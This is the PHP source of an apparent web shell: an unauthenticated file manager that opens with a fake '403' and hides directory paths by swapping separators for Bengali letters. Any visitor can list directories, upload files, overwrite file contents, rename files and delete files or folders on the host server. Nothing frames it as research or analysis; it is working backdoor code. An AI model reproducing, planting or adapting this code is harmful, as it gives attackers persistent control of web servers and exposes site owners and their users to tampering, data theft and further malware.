403
= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return ' ';
} elseif ($file == ".htaccess") {
return ' ';
}
if ($ext == "html" || $ext == "htm") {
return ' ';
} elseif ($ext == "php" || $ext == "phtml") {
return ' ';
} elseif (in_array($ext, $imgs)) {
return ' ';
} elseif ($ext == "css") {
return ' ';
} elseif ($ext == "txt") {
return ' ';
} elseif (in_array($ext, $audio)) {
return ' ';
} elseif ($ext == "py") {
return ' ';
} elseif ($ext == "js") {
return ' ';
} else {
return ' ';
}
}
function encodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($a, $b, $path);
}
function decodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($b, $a, $path);
}
$root_path = __DIR__;
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
echo ("");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = $root_path;
}
define("PATH", $p);
echo ('
');
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}
echo '
Name |
Size |
Modified |
Perms |
Actions |
';
foreach ($folders as $folder) {
echo "
" . $folder . " |
--- |
". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " |
0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . " |
|
|
";
}
foreach ($files as $file) {
echo "
" . fileIcon($file) . $file . " |
" . formatSizeUnits(filesize(PATH . "/" . $file)) . " |
" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " |
0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . " |
|
|
";
}
echo "
";
} else {
if (empty($_GET)) {
echo ("");
}
}
if (isset($_GET['upload'])) {
echo '
';
}
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
echo '
';
if (isset($_POST['rename'])) {
$name = PATH . "/" . $_GET['r'];
if(rename($name, PATH . "/" . $_POST['name'])) {
echo ("");
} else {
echo ("");
}
}
}
}
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
echo '
';
if(isset($_POST['edit'])) {
$filename = PATH."/".$_GET['e'];
$data = $_POST['data'];
$open = fopen($filename,"w");
if(fwrite($open,$data)) {
echo ("");
} else {
echo ("");
}
fclose($open);
}
}
}
if (isset($_POST["upload"])) {
$target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.
";
} else {
echo "Sorry, there was an error uploading your file.
";
}
}
if (isset($_GET['d']) && isset($_GET['q'])) {
$name = PATH . "/" . $_GET['d'];
if (is_file($name)) {
if(unlink($name)) {
echo ("");
} else {
echo ("");
}
} elseif (is_dir($name)) {
if(rmdir($name) == true) {
echo ("");
} else {
echo ("");
}
}
}
?>